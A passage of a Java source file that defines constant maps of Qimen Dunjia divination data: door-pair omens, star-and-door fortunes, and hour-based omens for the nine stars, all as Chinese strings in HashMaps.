put(Arrays.asList("休门", "景门"), "九里或十九里,逢皂衣公吏人骑骡马或乘车。");
put(Arrays.asList("休门", "死门"), "二里或十二里,逢孝服人哭泣,更有绿衣人相伴。");
put(Arrays.asList("休门", "惊门"), "七里或十七里,逢皂衣人打足,妇人拉、抱孩童。");
put(Arrays.asList("休门", "开门"), "六里或十六里,逢人打架叹气,畜物争斗。");
put(Arrays.asList("生门", "休门"), "一里或十一里,逢皂衣人及打钱人。");
put(Arrays.asList("生门", "生门"), "八里或十八里,逢朱衣贵人。");
put(Arrays.asList("生门", "伤门"), "三里或十三里,逢公吏人持棍,或培土栽树。");
put(Arrays.asList("生门", "杜门"), "四里或十四里,逢人拿彩色物品边走边唱并长叹息人。");
put(Arrays.asList("生门", "景门"), "九里或十九里,逢贵人车马多人相随。");
put(Arrays.asList("生门", "死门"), "二里或十二里,逢孝服人哭泣。");
put(Arrays.asList("生门", "惊门"), "七里或十七里,逢人赶畜,及有人讲诉讼事情。");
put(Arrays.asList("生门", "开门"), "六里或十六里,逢贵车马并有蛇咬猪者。");
put(Arrays.asList("伤门", "休门"), "一里或十一里,逢老妇与少男同行。");
put(Arrays.asList("伤门", "生门"), "八里或十八里,逢人伐树或培土。");
put(Arrays.asList("伤门", "伤门"), "三里或十三里,逢二车堵塞道路争行。");
put(Arrays.asList("伤门", "杜门"), "四里或十四里,逢公吏人及木匠伐树,并有妇人抱小儿经过。");
put(Arrays.asList("伤门", "景门"), "九里或十九里,逢色衣人骑骡马坐车经过。");
put(Arrays.asList("伤门", "死门"), "二里或十二里,逢埋葬及孝服人哭泣。");
put(Arrays.asList("伤门", "惊门"), "七里或十七里,逢人争斗及赶牲畜,并有妇人与少女同行。");
put(Arrays.asList("伤门", "开门"), "六里或十六里,逢人拆墙安门解板或二猪相咬。");
put(Arrays.asList("杜门", "休门"), "一里或十一里,逢唱戏或皂衣人抱孩童。");
put(Arrays.asList("杜门", "生门"), "八里或十八里,逢人扛钱或手拿食物并唱歌。");
put(Arrays.asList("杜门", "伤门"), "三里或十三里,逢木匠拿着木棍。");
put(Arrays.asList("杜门", "杜门"), "四里或十四里,逢妇人引孩子童着绿衣。");
put(Arrays.asList("杜门", "景门"), "九里或十九里,逢孕妇着色衣或公吏人骑赤马或开、坐红车。");
put(Arrays.asList("杜门", "死门"), "二里或十二里,逢丧服人哭泣。");
put(Arrays.asList("杜门", "惊门"), "七里或十七里,逢人唱歌、锣声或有人讲公讼事。");
put(Arrays.asList("杜门", "开门"), "六里或十六里,逢人唱歌及狗咬猪。");
put(Arrays.asList("景门", "休门"), "一里或十一里,逢女人哭泣,与卖鱼人并行。");
put(Arrays.asList("景门", "生门"), "八里或十八里,逢小儿赶牛,人背钱以袋和箱装之。");
put(Arrays.asList("景门", "伤门"), "三里或十三里,逢色衣女人坐车或乘骡马。");
put(Arrays.asList("景门", "杜门"), "四里或十四里,逢老少女领黑衣童孩行。");
put(Arrays.asList("景门", "景门"), "九里或十九里,逢人抱文书,更有火光惊恐。");
put(Arrays.asList("景门", "死门"), "二里或十二里,逢霄服人哭泣,色衣人骑马或开、坐车。");
put(Arrays.asList("景门", "惊门"), "七里或十七里,逢争讼争斗,宜避之。");
put(Arrays.asList("景门", "开门"), "六里或十六里,逢人成队行走,官人骑马。");
put(Arrays.asList("死门", "休门"), "一里或十一里,逢青衣妇人哭泣。");
put(Arrays.asList("死门", "生门"), "八里或十八里,逢孝子拿生物大恸。");
put(Arrays.asList("死门", "伤门"), "三里或十三里,逢人抬棺材。");
put(Arrays.asList("死门", "杜门"), "四里或十四里,逢埋葬及纸扎彩色物。");
put(Arrays.asList("死门", "景门"), "九里或十九里,逢重孝人哭泣,退吉进凶。");
put(Arrays.asList("死门", "死门"), "二里或十二里逢妇人哭泣,凶。");
put(Arrays.asList("死门", "惊门"), "七里或十七里,逢丧哭泣或死畜物类。");
put(Arrays.asList("死门", "开门"), "六里或十六里,逢开坟、哭泣或是见畜类争斗。");
put(Arrays.asList("惊门", "休门"), "一里或十一里,逢青衣妇人说官司。");
put(Arrays.asList("惊门", "生门"), "八里或十八里,逢女人引孩童赶牛,小儿拿吃的东西。");
put(Arrays.asList("惊门", "伤门"), "三里或十三里,逢男女吵闹,打孩子,宜退不宜进,若强进有车折马死,凶。");
put(Arrays.asList("惊门", "杜门"), "四里或十四里,逢僧道同行或男女相商。");
put(Arrays.asList("惊门", "景门"), "九里或十九里,逢色衣妇人说官司。");
put(Arrays.asList("惊门", "死门"), "二里或十二里,逢女人哭泣及丧亡事情。");
put(Arrays.asList("惊门", "惊门"), "七里或十七里,逢二女吵闹,傍人说打官司事。");
put(Arrays.asList("惊门", "开门"), "六里或十六里,逢官吏役人争讼。");
put(Arrays.asList("开门", "休门"), "一里、十一里,逢四足畜物相斗,妇人著皂衣及文人言功名事。");
put(Arrays.asList("开门", "生门"), "八里、十八里,逢阴人并四足物,或阳人言争产财帛事。");
put(Arrays.asList("开门", "伤门"), "三里、十三里,逢妇人车马,随人弄火。");
put(Arrays.asList("开门", "杜门"), "四里、十四里,逢阳人急唱,或僧道为应。");
put(Arrays.asList("开门", "景门"), "九里、十九里,逢贵人骑马坐车,或拿文书为应。");
put(Arrays.asList("开门", "死门"), "二里、十二里,逢老人啼哭,或开土埋葬为应。");
put(Arrays.asList("开门", "惊门"), "七里、十七里,逢兄妹同行为应。");
put(Arrays.asList("开门", "开门"), "六里、六十里,见贵人及打斗者为应。");
}
};
/**
* 星门克应
*/
public static final Map<List<String>, String> XING_MEN_KE_YING = new HashMap<List<String>, String>() {
private static final long serialVersionUID = -1;
/*
星门克应:星加门形成的格局及其吉凶。
*/ {
// 例如→ 天蓬星+休门:披枷戴锁,锒铛入狱;小凶
put(Arrays.asList("天蓬", "休门"), "披枷戴锁,锒铛入狱;小凶。");
put(Arrays.asList("天蓬", "生门"), "纵欲无度,尽兴不返;大吉。");
put(Arrays.asList("天蓬", "伤门"), "大难临头,六宅不安;小凶。");
put(Arrays.asList("天蓬", "杜门"), "十年寒窗,不得一举;小凶。");
put(Arrays.asList("天蓬", "景门"), "万事具备,只欠东风;小凶。");
put(Arrays.asList("天蓬", "死门"), "夺戒口食,剥戒身衣;小凶。");
put(Arrays.asList("天蓬", "惊门"), "别生枝节,何所取义;小凶。");
put(Arrays.asList("天蓬", "开门"), "三年不鸣,一鸣惊人;大吉。");
put(Arrays.asList("天任", "休门"), "因材施教,青出于蓝;大吉。");
put(Arrays.asList("天任", "生门"), "前山后海,进退两难;小凶。");
put(Arrays.asList("天任", "伤门"), "饥不择食,饮鸩止渴;小凶。");
put(Arrays.asList("天任", "杜门"), "积劳成疾,病入膏肓;小凶。");
put(Arrays.asList("天任", "景门"), "衣暖食饱,琼楼玉宇;小吉。");
put(Arrays.asList("天任", "死门"), "明目张胆,坐地分赃;大凶。");
put(Arrays.asList("天任", "惊门"), "一无所得,人财两空;小凶。");
put(Arrays.asList("天任", "开门"), "仓斗库实,有备无患;大吉。");
put(Arrays.asList("天冲", "休门"), "履险如夷,转危为安;大吉。");
put(Arrays.asList("天冲", "生门"), "塞翁失马,安之非福;大吉。");
put(Arrays.asList("天冲", "伤门"), "遍体鳞伤,痛入骨髓;大凶。");
put(Arrays.asList("天冲", "杜门"), "墨守成规,不知改变;小凶。");
put(Arrays.asList("天冲", "景门"), "车载斗量,指不胜屈;小吉。");
put(Arrays.asList("天冲", "死门"), "刀光剑影,枕戈待旦;小凶。");
put(Arrays.asList("天冲", "惊门"), "遇人不淑,劳燕分飞;大凶。");
put(Arrays.asList("天冲", "开门"), "力行不怠,一日千重;大吉。");
put(Arrays.asList("天辅", "休门"), "雾消云散,重见光明;大吉。");
put(Arrays.asList("天辅", "生门"), "心心相印,海誓山盟;大吉。");
put(Arrays.asList("天辅", "伤门"), "先天不足,后天未补;小凶。");
put(Arrays.asList("天辅", "杜门"), "七颠八倒,自相矛盾;大凶。");
put(Arrays.asList("天辅", "景门"), "春风一度,始乱终弃;小吉。");
put(Arrays.asList("天辅", "死门"), "花天酒地,玩物丧志;小凶。");
put(Arrays.asList("天辅", "惊门"), "天罗地网,插翅难飞;小凶。");
put(Arrays.asList("天辅", "开门"), "字无分文,牛衣对泣;小凶。");
put(Arrays.asList("天英", "休门"), "寸进尺退,一事无成;小凶。");
put(Arrays.asList("天英", "生门"), "游山玩水,走遍天下;大吉。");
put(Arrays.asList("天英", "伤门"), "龙争虎斗,两败俱伤;小凶。");
put(Arrays.asList("天英", "杜门"), "倚官仗势,作威作福;小凶。");
put(Arrays.asList("天英", "景门"), "春风一度,始乱终弃;小凶。");
put(Arrays.asList("天英", "死门"), "连年征战,劳民伤财;小凶。");
put(Arrays.asList("天英", "惊门"), "目瞪口呆,方寸已乱;小凶。");
put(Arrays.asList("天英", "开门"), "金碧辉煌,前呼后拥;大吉。");
put(Arrays.asList("天芮", "休门"), "一以当千,南争北战;大吉。");
put(Arrays.asList("天芮", "生门"), "力不从心,望尘莫及;小凶。");
put(Arrays.asList("天芮", "伤门"), "七窃生烟,九世之仇;小凶。");
put(Arrays.asList("天芮", "杜门"), "安生而食,用钱如水;小凶。");
put(Arrays.asList("天芮", "景门"), "才情卓越,大智若愚;小吉。");
put(Arrays.asList("天芮", "死门"), "日落西山,旦不保夕;大凶。");
put(Arrays.asList("天芮", "惊门"), "风吹草动,一夕数惊;小凶。");
put(Arrays.asList("天芮", "开门"), "堆金积玉,安富尊荣;大吉。");
put(Arrays.asList("天柱", "休门"), "孤云野鹤,枕流漱石;大吉。");
put(Arrays.asList("天柱", "生门"), "怜我怜卿,鸾凤和鸣;大吉。");
put(Arrays.asList("天柱", "伤门"), "上下其手,一手遮天;大凶。");
put(Arrays.asList("天柱", "杜门"), "七颠八倒,自相矛盾;大凶。");
put(Arrays.asList("天柱", "景门"), "先著祖鞭,长治久安;小吉。");
put(Arrays.asList("天柱", "死门"), "引狼入室,虎视耽耽;小凶。");
put(Arrays.asList("天柱", "惊门"), "投机取巧,惟利是图;大凶。");
put(Arrays.asList("天柱", "开门"), "有勇有谋,果决前进;大吉。");
put(Arrays.asList("天心", "休门"), "官明如镜,吏清如水;大吉。");
put(Arrays.asList("天心", "生门"), "六根清净,山林隐逸;大吉。");
put(Arrays.asList("天心", "伤门"), "飞来横祸,轩然大波;小凶。");
put(Arrays.asList("天心", "杜门"), "山穷水尽,千辛万苦;大凶。");
put(Arrays.asList("天心", "景门"), "相见恨晚,握手言欢;小吉。");
put(Arrays.asList("天心", "死门"), "生死有命,回天乏术;小凶。");
put(Arrays.asList("天心", "惊门"), "千变万化,不可捉摸;小凶。");
put(Arrays.asList("天心", "开门"), "四海漂泊,何处是家;小凶。");
put(Arrays.asList("天禽", "休门"), "披枷戴锁,锒铛入狱;小凶。");
put(Arrays.asList("天禽", "生门"), "前山后海,进退两难;小凶。");
put(Arrays.asList("天禽", "伤门"), "遍体鳞伤,痛入骨髓;大凶。");
put(Arrays.asList("天禽", "杜门"), "七颠八倒,自相矛盾;大凶。");
put(Arrays.asList("天禽", "景门"), "春风一度,始乱终弃;小凶。");
put(Arrays.asList("天禽", "死门"), "日落西山,旦不保夕;大凶。");
put(Arrays.asList("天禽", "惊门"), "投机取巧,惟利是图;大凶。");
put(Arrays.asList("天禽", "开门"), "四海漂泊,何处是家;小凶。");
}
};
/**
* 九星时应
*/
public static final Map<List<String>, String> JIU_XING_SHI_YING = new HashMap<List<String>, String>() {
private static final long serialVersionUID = -1;
/*
九星时应:指天盘上的[天蓬、天任、天冲、天辅、天禽、天英、天芮、天柱、天心]九星为值符时,与其所对应的时辰地支之间的生克关系及其吉凶。
*/ {
// 例如→ 天蓬星值子时:不利入宅、安坟、上官、下穴,主有口舌争讼。作用之时,有鸡鸣、犬吠、宿鸟闹林,或鸟北方争斗而飞,造葬后主有缺唇人至。至六十日应鸡生肉卵,有官讼至,主退财。
put(Arrays.asList("天蓬", "子"), "不利入宅、安坟、上官、下穴,主有口舌争讼。作用之时,有鸡鸣、犬吠、宿鸟闹林,或鸟北方争斗而飞,造葬后主有缺唇人至。至六十日应鸡生肉卵,有官讼至,主退财。");
put(Arrays.asList("天任", "子"), "主有风雨至,水畔鸡鸣,东南方有持刀人过为应。造葬后百日内,主新妇自离,点水性人上门抵赖,退田产后,出人男盗女娼凶。");
put(Arrays.asList("天冲", "子"), "主有大风雨至。仙禽噪、钟鸣为应。造葬后,六十日有生气物入屋,周年后田蚕倍收,新妇有孕。会因口舌得财。");
put(Arrays.asList("天辅", "子"), "若为反吟,主西方有人穿红白衣服人前来大叫为应。造葬后,六十日进商音人、物产,野猿猴入屋,宝瓶鸣时,主加官晋禄,生贵子。若门奇到,有十二年大旺。");
put(Arrays.asList("天英", "子"), "有锣声自西北至,及三五人拿火伐木为应,造葬后,主有残病人破家业,三年内血光自刎,小儿因汤火伤。");
put(Arrays.asList("天芮", "子"), "秋冬用之吉,春夏凶。主有走禽惊,西南火光,二人相逐为应。造葬后,主有猫狗疯癫伤人,惹官非,六十日内有女人自缢事,秋冬作用,当进羽音人、田地及妻女。");
put(Arrays.asList("天柱", "子"), "主有风雨,火从东方起,缺唇人为应,造葬后六十日内主有蛇犬伤人,血光破财。");
put(Arrays.asList("天心", "子"), "主有人争斗。鼓声从西北起为应。造葬后百日内赤面人作牙,进商音人、古器及画轴,家内生白鸡,十二年内田蚕大旺,后因赌博、见讼破财。");
put(Arrays.asList("天禽", "子"), "主有怀孕女人来,及紫衣人至为应,造葬后五十日鸡上篱,犬衔花,儒人送物至为应,主因武得官,进田土、财物。二十年后财谷大旺,人丁千口。");
put(Arrays.asList("天蓬", "丑"), "主树倒伤人。有雷电大作及风雨为应。造葬后七日内,鸡生鹅子卵,犬上主屋,主伤小孩。三年后白头翁作牙,进商音人、田契,大旺财谷,十年后即退败。");
put(Arrays.asList("天任", "丑"), "有青衫女人携酒至,四方有鼓声为应。造葬后半年,进无名财物,一年后有鹦鹉入屋,主口舌得财,三年后猫犬相咬,主发科吉。");
put(Arrays.asList("天冲", "丑"), "主云雾四合,以小儿成群来及妇人为应,造葬后黑猫生白子,拾得古镜发财,一年后得僧道、田契、生贵子。");
put(Arrays.asList("天辅", "丑"), "主东方有几只犬吠,有人持刀杀人斗叫。造葬后,有白兔野鸡入室,六十日内僧道送物,及东南方羽音人送文契至,远信至,一年后添进人口,大旺血财,加官晋禄。");
put(Arrays.asList("天英", "丑"), "东北方有师巫人至,及锣声为应。造葬后一月内主火烧屋,一年内狗作人言,百怪俱见,死亡大败。");
put(Arrays.asList("天芮", "丑"), "有金鼓声向西北至,造葬后七日,有乌龟自林中出,六十日被盗贼退财,口舌官事至。");
put(Arrays.asList("天柱", "丑"), "北方有匠人携斧至,树木上生金花为应,造葬后六十日进羽音姓人金银器,三年遇大火一贫彻骨,出人捉蛇养狗。");
put(Arrays.asList("天心", "丑"), "主南方有火光, 跛足人送物至,五日内双猫自来为应,作用后,四十日有远方人送物,进商音人财产文契。");
put(Arrays.asList("天禽", "丑"), "有孝妇人持锡器来,小儿拍掌笑,吹笛打鼓叫闹为应。造葬后赌博获财,或拾财发富,三年后因获盗贼致富。");
put(Arrays.asList("天蓬", "寅"), "有青衣童子持花来,北方有和尚裹衣至,女人着衫裙至。造葬后有贼劫家财,六十日内有蛇入屋咬人,因马牛死伤人,及鬼打屋,三年后进田地,大旺财谷。");
put(Arrays.asList("天任", "寅"), "女人成队拿火前行,童子拍手大笑为应,西北有人轿马至。造葬后六十日内,家中老人死。百日内进六畜,女人财宝自至,田蚕大旺后因缺唇人争讼婚事,败。");
put(Arrays.asList("天冲", "寅"), "有贵人乘轿(开车)至,及童子执金银器至。造葬后二十日进角音人、契字、及琉璃器物,六十日鸡母啼家,主死。因口舌争讼得财。主乙巳丁年生人发福。");
put(Arrays.asList("天辅", "寅"), "见公吏人手执铁器至,及艺人携物至为应。造葬后六十日内白鼻猫儿咬鸡时,有贼送财宝至,赤面人作牙,进羽音人、田契、二年大发,生贵子。");
put(Arrays.asList("天英", "寅"), "东方有兵马来,及捕鱼猎网人至。造葬后,女人因行路拾得财宝,六十日内进寡妇田产契书。百日内雷打屋即败。");
put(Arrays.asList("天芮", "寅"), "有瘦妇怀孕至,更有蓑衣人至。造葬后有奇门旺相,六十日有水牛入屋,大进血财,加官晋禄,子孙大吉。");
put(Arrays.asList("天柱", "寅"), "有牛马喧叫,及僧道人持伞至,有大雷雨、喜鹊喧噪为应。造葬后六十日内有贼牵连公事,因公事说讼破财,女人堕胎,难产死。");
put(Arrays.asList("天心", "寅"), "有白鹭鸟及水禽至,金鼓四鸣,女人穿青衣携篮至。造葬后火烧伤小口,六十日内由公事至,百日内大进金银,因拾得古窖,三年内因妻得财生贵子。");
put(Arrays.asList("天禽", "寅"), "金鸡乱鸣,犬吠,有人带深笠至。造葬后六十日进羽音人、契字、田财,人丁大旺。");
put(Arrays.asList("天蓬", "卯"), "黄云四起,妇人拿铁器前来,大蛇横过路。造葬后十日内,徵音人相请,半月内,有徵音人送财物。六十日内,女人因贼害而大破财。百日内,得横财大发。");
put(Arrays.asList("天任", "卯"), "有老人持杖至,及喜鹊喧噪为应。造葬后七日内,有人进古器物,六十日内,因女人获财宝,进牛羊六畜;因赌博得财,加官进职。");
put(Arrays.asList("天冲", "卯"), "有女人穿红色衣送物,及贵人骑马至,两犬相咬,水牛作声。造葬后六十日,进东方人产业,因汤火伤小儿,进财。三年内妇人堕胎,产死。");
put(Arrays.asList("天辅", "卯"), "女人挑伞至,及师巫吹角声,造葬后六十日,大发,添人丁,有生气入屋,旺财谷,因女人公事得财帛、田地契字。");
put(Arrays.asList("天英", "卯"), "有女人持灯笼来应,或执木棍来应。若见雷鸣应,六十日内,进女人财宝,因而大发。");
put(Arrays.asList("天芮", "卯"), "有女人穿红色衣送物,及贵人骑马至,两犬相咬,水牛作声。造葬后六十日进东方人产业,因汤火伤小儿,进财。三年内妇人堕胎,产死。");
put(Arrays.asList("天柱", "卯"), "有人伐树,及男人持鼓过,黄衣老人持锄至。造葬后六十日内鸡母啼昼鸣,犬上屋。一年内少妇疫病死,凶。");
put(Arrays.asList("天心", "卯"), "有跛脚妇人相打及犬吠声,北方有轿车至,造葬七日内进横财,三年后有牛自来,大旺六畜,参军得财,大发。");
put(Arrays.asList("天禽", "卯"), "大风东起,禽鸟鸣叫,怀孕妇人至,造葬后半年猫儿自来园内,二年得财大发。");
put(Arrays.asList("天蓬", "辰"), "东北树倒打人,鼓声四起,女人穿红衣至。造葬后,鸟雀四鸣绕屋,被贼盗财。六十日内有病脚人上门抵赖。三年后生贵子,大发财。");
put(Arrays.asList("天任", "辰"), "主有白衣男女同行,或孕妇抱小儿为应。造葬后,有人送活物至,大吉。");
put(Arrays.asList("天冲", "辰"), "主有鱼上树,白虎出山,僧道成群至。造葬后四十日内,拾得黄金白银之物,大发横财。七十日内家主的伤折之灾。");
put(Arrays.asList("天辅", "辰"), "白羊与黄犬相闹,卖油人与卖菜米人相撞,白衣小儿哭,怀孕妇人至。造葬后一年内生贵子,大发财谷。");
put(Arrays.asList("天英", "辰"), "西北方大雨至,鸡飞上树,女人持物携篮至。造葬后七日内,有生气入屋,六十日内活物入宅,进横财大发。");
put(Arrays.asList("天芮", "辰"), "东方树倒伤人,鼓乐声四起,女人穿红衣至为应。造葬后雀绕屋飞鸣、因贼破财。六十日内有病脚人上门的抵赖。三年后生贵子,大发旺。");
put(Arrays.asList("天柱", "辰"), "有人西方拿金器来。造葬后七日内进阴人财物,寡妇送契至,三年大发。");
put(Arrays.asList("天心", "辰"), "有云从西北起,青衣人携鱼至,女人僧道同行。造葬后,井中气如云出,三日内生贵子,主科第富贵。");
put(Arrays.asList("天禽", "辰"), "有师巫术人相争大叫,及东方鸦噪,造葬后六十日内有僧道人及绝户人送物产至。");
put(Arrays.asList("天蓬", "巳"), "有驼背老人披蓑衣至,女携酒及师巫人至。造葬后一百日,因火大获横财,一年后,因武获职,加官进禄。");
put(Arrays.asList("天任", "巳"), "有两犬争一物,野人负柴薪过,吏人持伞盖至。造葬后六十日内,获异路人财,南方人送鱼。一年后生贵子,异路显达,进田财。");
put(Arrays.asList("天冲", "巳"), "有牛相打,羊争行,女人相骂,西南方有鼓声喧闹。造葬后六十日内,蛇咬鸡,牛入室,有女人送契至。一百日后,犬生花子,大旺田财。");
put(Arrays.asList("天辅", "巳"), "有人相打,女人抱布来,风四起,小童哭叫。造葬后六十日内,进东方人财物,有鬼神运来大发。");
put(Arrays.asList("天英", "巳"), "主有人抱文书,持伞盖至或抱锡磁器为应,造葬后六十日内,得异姓人财产,南方人送活物来。一年内生贵子发达。");
put(Arrays.asList("天芮", "巳"), "有妇人少女同至为应,造葬后四十日进绝户人田契,一年内因水火发财。");
put(Arrays.asList("天柱", "巳"), "有黑牛过,钟声鸣,猪上山。造葬后二十日内进商音姓人财物。六十日内家内女人下水,有活物入屋。大发大贵之兆。");
put(Arrays.asList("天心", "巳"), "有女人穿青衣抱小儿至,紫衣人骑马至,乌龟上树。造葬后半月内,得远方人财物,跛人作牙,进商音产契,六畜兴旺。三年内,女人成家,寡母坐堂。");
put(Arrays.asList("天禽", "巳"), "有白颈鸭(鸟)成队飞鸣,及师巫人相打,贵人骑马过。造葬后七十日有妇人来,生贵子,成家立产。三年后田产大旺。");
put(Arrays.asList("天蓬", "午"), "有人持刀上山,妇人领青衣童子至。造葬后四十日内家主亡。六十日内犬来做人语,入屋为怪。赤面风脚人上门行凶破财,三年后才发旺。");
put(Arrays.asList("天任", "午"), "西方黄色飞禽来,僧道与儒士同行为应。造葬后四十日进外宝、贵人财物,紫衣人入屋,生贵子。");
put(Arrays.asList("天冲", "午"), "东方人家火起,穿白衣前来大唤,山禽噪闹。六十日内拾得古铜器物,大发财产。");
put(Arrays.asList("天辅", "午"), "有僧道持物来,女人穿红衣至,有石火光。造葬后六十日内有贵人至,送异物,进西方人金银。一年内得寡妇人绝户物。");
put(Arrays.asList("天英", "午"), "南方有人来,穿红衣或骑马持文书至为应,造葬后六十日内被木石伤死,及自缢人命官司败。");
put(Arrays.asList("天芮", "午"), "主天中有人缺唇,白衣人至,有孕妇过。六十日内有猫鬼咬人,因买卖发横财,一年内得东邻或妻财产大发。");
put(Arrays.asList("天柱", "午"), "西方有人骑马至,冬月有雪,夏秋有鸦飞鸣为应。造葬后五日内孕妇先病行丧哭泣。六十日内水边得古铜器,退财小口凶。");
put(Arrays.asList("天心", "午"), "主大风雨骤至。蛇横路,女人穿红裙携酒至。造葬后六十日蚕鸣,有跛足人送活物。五年内进金银,大发大旺。");
put(Arrays.asList("天禽", "午"), "有白衣女人来,狗衔花,山鸡斗叫,风雨从东来。六十日内有犬自外来,或野犬入屋,主进东北方人财,更赌博公事得财,一年后乌鸡生白雏,田蚕大旺。");
put(Arrays.asList("天蓬", "未"), "童子牵二牛至,白鹭群北方飞来,有女人穿红衣至,造葬后六十日内军贼入屋劫掠财物,凶败。");
put(Arrays.asList("天任", "未"), "主有白鸟飞来,飞禽自西南方至,北方大斗闹,鼓声喧天,风雨大至。造葬后七日内,女人送白色衣物或白纸。六十日内家生异白气物,得六畜大旺。");
put(Arrays.asList("天冲", "未"), "有鼓乐响声,小儿穿孝衣至,牛马成群过,西北方有人叫喊声,造葬后六十日内有白羊入屋,六畜大旺。");
put(Arrays.asList("天辅", "未"), "群犬争吠,丐者携蓑衣至,僧道成群过,西北方有争财,造葬后一百日内,有文书契字,进商音人财物金银。");
put(Arrays.asList("天英", "未"), "有孕妇过,及西北方有鼓声为应。造葬后六十日内家主落水淹死,一年后因瘟疫大败。");
put(Arrays.asList("天芮", "未"), "有捕猎人至,及白衣道人携茶过。造葬后七日有乌鸦绕屋鸣噪,一年内动瘟疫、火烧屋荡败。");
put(Arrays.asList("天柱", "未"), "有瘦妇与僧道同行东北方,有人携伞骑马过。造葬后一百日内因女人见狐狸猫而败。");
put(Arrays.asList("天心", "未"), "主有艺人法术人拿空器过,白衣人至为应。造葬后,得商音姓人方契,田宅发富。");
put(Arrays.asList("天禽", "未"), "有老人及跛足人担花过,或青衣人携物至。造葬后六十日内进羽音人铁器,六畜大旺。");
put(Arrays.asList("天蓬", "申"), "有取水人持伞笠至,西方有小儿打水鼓叫喊为应。造葬后三十日内,鸡窝内蛇伤人。一百日内,有新妇自缢,淫欲公事败。");
put(Arrays.asList("天任", "申"), "主大风雨至,人打鼓至,僧道穿黄衣为应。造葬后七日内,女人被火汤烧,凶败。");
put(Arrays.asList("天冲", "申"), "东方白衣人骑马过,吏卒人持刀相杀,造葬后一百日内,女人人作牙,进绝户田产。");
put(Arrays.asList("天辅", "申"), "有青肿患脚人携酒至,三色衣人至,西北金鼓声。造葬后半年内,因妇人财大发,蛇从井中出,外人送牛羊至,得女人财发家。");
put(Arrays.asList("天英", "申"), "有怀孕妇人大哭,西方有金鼓声,及僧道持伞盖,造葬后,七十日内大凶。");
put(Arrays.asList("天芮", "申"), "主东方凉伞青帽,及僧道胡须人至,及牛斗伤人,犬咬人。造葬后一百日当进羽音人产物。一年内有水牛入屋、野鸟入家,家主大病。");
put(Arrays.asList("天柱", "申"), "主鹰擒禽鸟坠地,及青衣人携篮至。造葬后,三年内因失火丧家,烧屋大败。");
put(Arrays.asList("天心", "申"), "僧道前来,金鼓四鸣,百鸟交噪,红裙女人送酒至。造葬后寡妇持家,开土得财。");
put(Arrays.asList("天禽", "申"), "主天中飞鸟大叫,师巫将符纸物来。造葬后百日内女人拾得珠翠归。一年后新妇昌盛,生贵子,大旺田产。");
put(Arrays.asList("天蓬", "酉"), "主西方有马至,群鸦飞鸣四噪。造葬后百日内,家生贵子,僧道作牙,进商音人田地,大发。");
put(Arrays.asList("天任", "酉"), "主僧道尼姑拿火自西南来,北方有钟鼓声为应。造葬后七十日,进牛马,官员财喜,喜信至,大利财丁。");
put(Arrays.asList("天冲", "酉"), "远方人送书(现指电子通讯等)至,东方狐狸咬叫,妇人拿火来。造葬后一年,生贵子,得横财大发。");
put(Arrays.asList("天辅", "酉"), "远方人送书至,东方有人叫喊或说狐狸,妇人拿火来。造葬后一年,生贵子,得横财大发。");
put(Arrays.asList("天英", "酉"), "主西方有人吵闹,鸟雀鸣叫,白衣女人经过为应,造葬后,主小孩女人足疾,百日内因唇舌得财。");
put(Arrays.asList("天芮", "酉"), "西方有鸟飞过,群鸟飞鸣为应,造葬后百日内僧道作合,进商音人财产,生贵子发旺。");
put(Arrays.asList("天柱", "酉"), "主东方有大小车连络数十辆为应,造葬后,七十日内得女人首饰发财。");
put(Arrays.asList("天心", "酉"), "主僧道尼姑拿火自西南来,北方有钟鼓声。造葬后七十日内进商音姓人骡马,官员财喜,送远信至,大利。");
put(Arrays.asList("天禽", "酉"), "主西方起火,人家吵架,鼓声喧闹为应,造葬后,一年生贵子发旺。");
put(Arrays.asList("天蓬", "戌"), "主有老人持杖来,西方雷雨至,胡须人担箩来。造葬后,有白狗至。六十日内,因拾得车器,得横财大发。");
put(Arrays.asList("天任", "戌"), "有女人拿布至,西方有鼓声,北方树木伤人为应。造葬后六十日,蛇虫入宅咬人,瘟疫死,大败。若有老人与小孩同来,可解转祸为福。");
put(Arrays.asList("天冲", "戌"), "西方三五人寻失物,师巫人对走为应。造葬后六十日,鸡上树啼,远方有信,获羽音人财。一年内小口被牛踏伤。");
put(Arrays.asList("天辅", "戌"), "西方三五人寻失物,师巫人对走为应。造葬后六十日,鸡上树啼,远方有信,获女人财。一年内小口被牛踏伤。");
put(Arrays.asList("天英", "戌"), "有女人拿瓷瓦器或铁物至。造葬后六十日蛇虫入宅咬人,瘟疫死,大败。");
put(Arrays.asList("天芮", "戌"), "主有老人持杖来,西方雷雨至,胡须人担物来。造葬后有白狗至。六十日内因拾得军器,得横财大发。");
put(Arrays.asList("天柱", "戌"), "有女人拿白布物至,西方有鼓声,东北方树倒伤人为应。造葬后六十日蛇虫入宅咬人,瘟疫死,大败。");
put(Arrays.asList("天心", "戌"), "主南方大叫贼惊,小儿骑牛至,造葬后百日内生贵子,金鸡石上鸣,犬吠,二年后中科举。");
put(Arrays.asList("天禽", "戌"), "东北方有钟声及铙钹声,有青衣童子携篮至。造葬后六十日白龟至,得寡妇财物大发;有人中科举。");
put(Arrays.asList("天蓬", "亥"), "主小儿成群,女人穿孝服至。造葬后,因捉贼得财。三年内,出人入道法,卖符咒水起家。");
put(Arrays.asList("天任", "亥"), "主西方有钟声响声,有人持火叫喧。造葬后,因救火得财,大发。");
put(Arrays.asList("天冲", "亥"), "有足跛青衣人至,东方人家有火光。造葬后百日内,猫儿捕白鼠,进商音人田契大发,财得妻财。");
put(Arrays.asList("天辅", "亥"), "有足跛人至,青衣人往东北方去,家人点亮火光。造葬后百日内,猫儿捕白鼠,进商音人田契大发,财得妻财。");
put(Arrays.asList("天英", "亥"), "女人持火来。造葬后百日内有疯癫人上门耍赖,身死破财。");
put(Arrays.asList("天芮", "亥"), "主小儿成群,女人穿孝服至。造葬后,因捉贼得财谷。三年后出人入道法,卖符咒水起家。");
put(Arrays.asList("天柱", "亥"), "主西方有钟声,山下人持火叫喧。造葬后,因救火得财,大发。");
put(Arrays.asList("天心", "亥"), "有鸡鸣狗叫,老人戴皮帽执铁器至。造葬后七日内有不识姓名人上门借宿,遗下财物去。");
put(Arrays.asList("天禽", "亥"), "西北方有妇人笑声,大风从西起,树倒拆屋,有人大叫。造葬后六十日内进铁匠财物,商音人请吃饭,进僧道财产。");
}
};
//------------------------------------------------------------------------------------------------------------------------------------
/**
* 后天八卦(1~9宫)
*/
public static final String[] HOU_TIAN_BA_GUA = {"坎", "坤", "震", "巽", "", "乾", "兑", "艮", "离"};
/**
* 四季索引
*/
public static final Map<String, Integer> SI_JI_INDEX = new HashMap<String, Integer>() {
private static final long serialVersionUID = -1;
{
